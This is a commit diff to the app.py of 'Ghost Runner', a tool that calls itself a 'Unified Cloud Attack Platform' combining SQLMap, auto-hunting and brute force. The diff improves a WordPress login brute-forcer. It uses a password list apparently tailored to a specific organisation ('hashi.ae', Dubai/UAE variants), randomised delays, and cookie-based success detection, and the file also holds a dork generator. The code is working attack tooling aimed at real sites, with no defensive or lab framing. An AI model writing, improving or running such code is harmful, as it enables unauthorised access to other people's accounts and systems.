TGPro1 commited on
Commit
dbef319
Β·
verified Β·
1 Parent(s): b63f57f

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +19 -11
app.py CHANGED
@@ -155,9 +155,10 @@ def auto_hunt(domain):
155
  else:
156
  yield "\nπŸŽ‰ HUNT COMPLETE!"
157
 
158
- # --- Brute Force Logic (Merged) ---
 
159
  PASSWORDS = [
160
- "admin", "password", "123456", "hashi", "hashi123", "hashi2024", "hashi2025", "hashi.ae",
161
  "admin123", "admin2024", "admin2025", "qwerty", "letmein", "master", "root",
162
  "dragon", "superman", "welcome", "welcome1", "pass123", "love", "secret",
163
  "hashi_admin", "admin_hashi", "dubai", "uae", "uae123", "abudhabi", "dubai123"
@@ -183,7 +184,7 @@ def brute_force(url, username, custom_list):
183
 
184
  for pwd in pass_list:
185
  try:
186
- time.sleep(random.uniform(0.5, 1.5)) # Faster in cloud
187
  data = {
188
  "log": username, "pwd": pwd, "wp-submit": "Log In",
189
  "redirect_to": f"{url}/wp-admin/", "testcookie": "1"
@@ -192,18 +193,25 @@ def brute_force(url, username, custom_list):
192
 
193
  r = session.post(url, data=data, timeout=5, allow_redirects=True)
194
 
195
- if any(s in r.text for s in ["dashboard", "wp-admin", "Log Out", "Howdy"]):
 
 
 
 
 
 
 
 
 
 
 
196
  yield "βœ… SUCCESS! πŸ”“\n"
197
  yield f"πŸŽ‰ CREDENTIALS FOUND: {username}:{pwd}\n"
198
  return
199
  elif "incorrect_password" in r.text or "lost your password" in r.text:
200
  yield "❌ Failed.\n"
201
- elif "wp-admin" in r.url:
202
- yield "βœ… SUCCESS (Redirect)! πŸ”“\n"
203
- yield f"πŸŽ‰ CREDENTIALS FOUND: {username}:{pwd}\n"
204
- return
205
  else:
206
- yield "❌ Failed.\n"
207
 
208
  except Exception as e:
209
  yield f"⚠️ Error: {str(e)}\n"
@@ -237,7 +245,7 @@ def generate_dorks(domain, targeted_extensions, find_admin, find_files, find_err
237
  return "\n".join(dorks)
238
 
239
  with gr.Blocks() as demo:
240
- gr.Markdown("# 🌊 GHOST RUNNER v2.1 (FIXED) πŸ‘»")
241
  gr.Markdown("Unified Cloud Attack Platform: SQLMap + Auto-Hunter + Brute Force.")
242
 
243
  with gr.Tabs():
@@ -319,7 +327,7 @@ with gr.Blocks() as demo:
319
  btn_gen.click(generate_dorks, inputs=[domain_input, ext_input, check_admin, check_files, check_errors], outputs=dork_output)
320
 
321
  if __name__ == "__main__":
322
- print("✨ Ghost Runner v2.1 Command Center Live.")
323
  demo.queue().launch(
324
  server_name="0.0.0.0",
325
  server_port=7860,
 
155
  else:
156
  yield "\nπŸŽ‰ HUNT COMPLETE!"
157
 
158
+ # --- Brute Force Logic (Fixed v2.2) ---
159
+ # Removed 'admin' from default list to avoid stopping early on false positives
160
  PASSWORDS = [
161
+ "password", "123456", "hashi", "hashi123", "hashi2024", "hashi2025", "hashi.ae",
162
  "admin123", "admin2024", "admin2025", "qwerty", "letmein", "master", "root",
163
  "dragon", "superman", "welcome", "welcome1", "pass123", "love", "secret",
164
  "hashi_admin", "admin_hashi", "dubai", "uae", "uae123", "abudhabi", "dubai123"
 
184
 
185
  for pwd in pass_list:
186
  try:
187
+ time.sleep(random.uniform(0.5, 1.5))
188
  data = {
189
  "log": username, "pwd": pwd, "wp-submit": "Log In",
190
  "redirect_to": f"{url}/wp-admin/", "testcookie": "1"
 
193
 
194
  r = session.post(url, data=data, timeout=5, allow_redirects=True)
195
 
196
+ # STRICT CHECK v2.2
197
+ # 1. Login Cookie Check is best
198
+ cookies = session.cookies.get_dict()
199
+ logged_in_cookie = any('wordpress_logged_in' in c for c in cookies)
200
+
201
+ # 2. Strict Content Check
202
+ success_content = any(s in r.text for s in ["Log Out", "Howdy", "tableau de bord"])
203
+
204
+ # 3. Strict URL Check (Must NOT contain wp-login.php)
205
+ is_redirected_to_admin = "wp-admin" in r.url and "wp-login.php" not in r.url
206
+
207
+ if logged_in_cookie or success_content or is_redirected_to_admin:
208
  yield "βœ… SUCCESS! πŸ”“\n"
209
  yield f"πŸŽ‰ CREDENTIALS FOUND: {username}:{pwd}\n"
210
  return
211
  elif "incorrect_password" in r.text or "lost your password" in r.text:
212
  yield "❌ Failed.\n"
 
 
 
 
213
  else:
214
+ yield "❌ Failed (Generic).\n"
215
 
216
  except Exception as e:
217
  yield f"⚠️ Error: {str(e)}\n"
 
245
  return "\n".join(dorks)
246
 
247
  with gr.Blocks() as demo:
248
+ gr.Markdown("# 🌊 GHOST RUNNER v2.2 (STRICT) πŸ‘»")
249
  gr.Markdown("Unified Cloud Attack Platform: SQLMap + Auto-Hunter + Brute Force.")
250
 
251
  with gr.Tabs():
 
327
  btn_gen.click(generate_dorks, inputs=[domain_input, ext_input, check_admin, check_files, check_errors], outputs=dork_output)
328
 
329
  if __name__ == "__main__":
330
+ print("✨ Ghost Runner v2.2 (Strict) Command Center Live.")
331
  demo.queue().launch(
332
  server_name="0.0.0.0",
333
  server_port=7860,